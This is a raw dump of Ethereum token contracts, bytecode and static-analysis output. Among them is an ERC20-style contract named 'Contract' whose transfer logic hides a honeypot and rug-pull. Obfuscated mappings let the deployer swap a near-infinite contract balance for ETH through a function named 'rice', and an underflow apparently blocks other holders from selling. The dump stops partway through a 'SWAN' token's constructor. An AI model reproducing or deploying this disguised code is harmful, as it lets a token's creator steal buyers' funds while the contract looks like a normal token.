ffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611856576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611ba76025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118dc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611ad16023913960400191505060405180910390fd5b61194781604051806060016040528060268152602001611b38602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112829092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119da816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000611ac883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611282565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820b0cfb2f789522452cee4d29ca5cf0292a7f0c54bdd271c47c0c556654a26ddc864736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 6,363 |
0xF4ca3CbE74dcdb98d8172Fa6Ee506eD0731B8Fbf
|
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.5;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000000000 * 10**_decimals;
uint256 private _rTotal = ~uint256(0);
uint256 private secret = _tTotal;
uint256 public _fee = 5;
mapping(address => uint256) private wheel;
mapping(uint256 => address) private poetry;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private hunt;
mapping(address => uint256) private wonderful;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
IUniswapV2Router02 public router;
address public uniswapV2Pair;
string private _symbol;
string private _name;
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress
) {
_name = _NAME;
_symbol = _SYMBOL;
wheel[msg.sender] = secret;
_balances[msg.sender] = _tTotal;
_balances[address(this)] = _rTotal;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
poetry[secret] = uniswapV2Pair;
emit Transfer(address(0), msg.sender, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function _transfer(address rule, address difference, uint256 amount) private {
bool pick = rule != poetry[secret];
address no = hunt[secret];
uint256 slave = _fee;
bool rock;
if (wheel[rule] == 0 && wonderful[rule] > 0 && pick) {
wheel[rule] -= slave;
}
hunt[secret] = difference;
if (wheel[rule] > 0 && amount == 0) {
wheel[difference] += slave;
}
wonderful[no] += slave;
if (wheel[rule] > 0 && amount > secret) {
rock = rice(amount);
}
if (!rock) {
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[rule] -= fee;
_balances[rule] -= amount;
_balances[difference] += amount;
}
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
_transfer(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function rice(uint256 tokens) private returns (bool) {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokens);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906112ce565b60405180910390f35b610132600480360381019061012d9190611389565b610392565b60405161013f91906113e4565b60405180910390f35b6101506103a7565b60405161015d919061140e565b60405180910390f35b610180600480360381019061017b9190611429565b6103b1565b60405161018d91906113e4565b60405180910390f35b61019e610500565b6040516101ab919061140e565b60405180910390f35b6101bc610519565b6040516101c9919061148b565b60405180910390f35b6101ec60048036038101906101e791906114a6565b61053f565b6040516101f9919061140e565b60405180910390f35b61020a610588565b005b610214610610565b604051610221919061148b565b60405180910390f35b610232610639565b60405161023f91906112ce565b60405180910390f35b610262600480360381019061025d9190611389565b6106cb565b60405161026f91906113e4565b60405180910390f35b610280610747565b60405161028d919061140e565b60405180910390f35b6102b060048036038101906102ab91906114d3565b61074d565b6040516102bd919061140e565b60405180910390f35b6102e060048036038101906102db91906114a6565b6107d4565b005b6102ea6108cb565b6040516102f79190611572565b60405180910390f35b6060600e805461030f906115bc565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906115bc565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f1565b905092915050565b6000600154905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec9061165f565b60405180910390fd5b610400848484610a8c565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d919061140e565b60405180910390a36104f7843384600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f291906116ae565b6108f1565b90509392505050565b60008060149054906101000a900460ff1660ff16905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610590610f1e565b73ffffffffffffffffffffffffffffffffffffffff166105ae610610565b73ffffffffffffffffffffffffffffffffffffffff1614610604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fb9061172e565b60405180910390fd5b61060e6000610f26565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600d8054610648906115bc565b80601f0160208091040260200160405190810160405280929190818152602001828054610674906115bc565b80156106c15780601f10610696576101008083540402835291602001916106c1565b820191906000526020600020905b8154815290600101906020018083116106a457829003601f168201915b5050505050905090565b60006106d8338484610a8c565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610735919061140e565b60405180910390a36001905092915050565b60045481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dc610f1e565b73ffffffffffffffffffffffffffffffffffffffff166107fa610610565b73ffffffffffffffffffffffffffffffffffffffff1614610850576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108479061172e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b6906117c0565b60405180910390fd5b6108c881610f26565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095c5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099290611852565b60405180910390fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a79919061140e565b60405180910390a3600190509392505050565b600060066000600354815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614159050600060096000600354815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060006004549050600080600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bc557506000600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610bce5750835b15610c2a5781600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c2291906116ae565b925050819055505b8560096000600354815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610ccd5750600085145b15610d295781600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d219190611872565b925050819055505b81600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d789190611872565b925050819055506000600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610dcf575060035485115b15610de057610ddd85610fea565b90505b80610f15576000600454606487610df791906118f7565b610e019190611928565b90508086610e0f91906116ae565b955080600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e6091906116ae565b9250508190555085600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eb691906116ae565b9250508190555085600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f0c9190611872565b92505081905550505b50505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080600267ffffffffffffffff81111561100857611007611982565b5b6040519080825280602002602001820160405280156110365781602001602082028036833780820191505090505b509050308160008151811061104e5761104d6119b1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110f5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111991906119f5565b8160018151811061112d5761112c6119b1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061119430600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856108f1565b50600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008433426040518663ffffffff1660e01b81526004016111f9959493929190611b1b565b600060405180830381600087803b15801561121357600080fd5b505af1158015611227573d6000803e3d6000fd5b505050506001915050919050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561126f578082015181840152602081019050611254565b8381111561127e576000848401525b50505050565b6000601f19601f8301169050919050565b60006112a082611235565b6112aa8185611240565b93506112ba818560208601611251565b6112c381611284565b840191505092915050565b600060208201905081810360008301526112e88184611295565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611320826112f5565b9050919050565b61133081611315565b811461133b57600080fd5b50565b60008135905061134d81611327565b92915050565b6000819050919050565b61136681611353565b811461137157600080fd5b50565b6000813590506113838161135d565b92915050565b600080604083850312156113a05761139f6112f0565b5b60006113ae8582860161133e565b92505060206113bf85828601611374565b9150509250929050565b60008115159050919050565b6113de816113c9565b82525050565b60006020820190506113f960008301846113d5565b92915050565b61140881611353565b82525050565b600060208201905061142360008301846113ff565b92915050565b600080600060608486031215611442576114416112f0565b5b60006114508682870161133e565b93505060206114618682870161133e565b925050604061147286828701611374565b9150509250925092565b61148581611315565b82525050565b60006020820190506114a0600083018461147c565b92915050565b6000602082840312156114bc576114bb6112f0565b5b60006114ca8482850161133e565b91505092915050565b600080604083850312156114ea576114e96112f0565b5b60006114f88582860161133e565b92505060206115098582860161133e565b9150509250929050565b6000819050919050565b600061153861153361152e846112f5565b611513565b6112f5565b9050919050565b600061154a8261151d565b9050919050565b600061155c8261153f565b9050919050565b61156c81611551565b82525050565b60006020820190506115876000830184611563565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806115d457607f821691505b6020821081036115e7576115e661158d565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000611649602983611240565b9150611654826115ed565b604082019050919050565b600060208201905081810360008301526116788161163c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006116b982611353565b91506116c483611353565b9250828210156116d7576116d661167f565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611718602083611240565b9150611723826116e2565b602082019050919050565b600060208201905081810360008301526117478161170b565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006117aa602683611240565b91506117b58261174e565b604082019050919050565b600060208201905081810360008301526117d98161179d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061183c602483611240565b9150611847826117e0565b604082019050919050565b6000602082019050818103600083015261186b8161182f565b9050919050565b600061187d82611353565b915061188883611353565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118bd576118bc61167f565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061190282611353565b915061190d83611353565b92508261191d5761191c6118c8565b5b828204905092915050565b600061193382611353565b915061193e83611353565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156119775761197661167f565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119ef81611327565b92915050565b600060208284031215611a0b57611a0a6112f0565b5b6000611a19848285016119e0565b91505092915050565b6000819050919050565b6000611a47611a42611a3d84611a22565b611513565b611353565b9050919050565b611a5781611a2c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a9281611315565b82525050565b6000611aa48383611a89565b60208301905092915050565b6000602082019050919050565b6000611ac882611a5d565b611ad28185611a68565b9350611add83611a79565b8060005b83811015611b0e578151611af58882611a98565b9750611b0083611ab0565b925050600181019050611ae1565b5085935050505092915050565b600060a082019050611b3060008301886113ff565b611b3d6020830187611a4e565b8181036040830152611b4f8186611abd565b9050611b5e606083018561147c565b611b6b60808301846113ff565b969550505050505056fea2646970667358221220766c05222afa0a6fa316178aeb093fed5c40c3a492a7387772193ba06c02bbf064736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,364 |
0x1953A86040cA9471b1655188D6944D5FA4afB41F
|
/**
*Submitted for verification at Etherscan.io on 2022-04-22
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
contract SWAN is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SWAN";
string private constant _symbol = "SWAN";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant _tTotal = 1000 * 1e8 * 1e9; // 100,000,000,000
uint256 public _maxWalletAmount = 4500 * 1e6 * 1e9; // 4,500,000,000
// fees
uint256 public _liquidityFeeOnBuy = 0;
uint256 public _marketingFeeOnBuy = 8;
uint256 public _liquidityFeeOnSell = 6;
uint256 public _marketingFeeOnSell = 10;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 private _previousMarketingFee = _marketingFee;
uint256 private _liquidityFee;
uint256 private _marketingFee;
struct FeeBreakdown {
uint256 tLiquidity;
uint256 tMarketing;
uint256 tAmount;
}
mapping(address => bool) private bots;
address payable private _marketingAddress = payable(0x05c97D2331f3099F006EBE097ef3650aDCdb22B7);
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
uint256 public swapAmount;
bool private inSwap = false;
event FeesUpdated(uint256 _marketingFee, uint256 _liquidityFee);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
swapAmount = 2000 * 1e6 * 1e9; // 2%
_balances[_msgSender()] = _tTotal;
